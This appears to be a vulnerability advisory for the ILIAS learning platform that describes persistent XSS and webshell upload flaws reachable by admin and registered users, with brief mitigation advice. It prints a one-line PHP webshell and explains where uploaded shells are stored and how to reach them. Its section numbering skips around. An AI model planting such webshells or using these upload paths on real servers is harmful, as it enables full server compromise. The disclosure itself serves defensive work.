Multiple vulnerabilities in ILIAS

First from admin user logged in, an attacker can exploit a persistent XSS vulnerability by sending a POST request with malicious payload. An attacker can also upload a webshell in the ILIAS directories and access it directly to gain a webshell. An attacker can also exploit an XSS vulnerability by sending a POST request with malicious payload.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application. Ensure that the application is running the latest version of the software.

# ==============================================================
# 2. Possibility of uploading webshell

Uploaded file can be found in the ILIAS directories, for example:
---<code>---
k@lab:~/public_html/cms/ilias$ cat ./44444/ilFile/3/file_334/001/shell.php
<?php system($_REQUEST['cmd']); ?>
k@lab:~/public_html/cms/ilias$
---<code>---

Direct access to this file will give you a webshell.

# ==============================================================
# 4. Another webshell upload possibility

There is a possibility of creating webshell when php file is added as an attachement
to email to user(s).


All shells will be located in /ilias/ (wwwroot) directory with value from 'client_id'
(for example: client_id=44444, then your shell is in /ilias/44444/...)



# ==============================================================

Second: from normal/registered user logged in:

# ==============================================================
# 1. When normal user is registered on the latest ILIAS, he is able to add
PHP file contains simple shell. From this moment he will be able to hack 
the whole server.
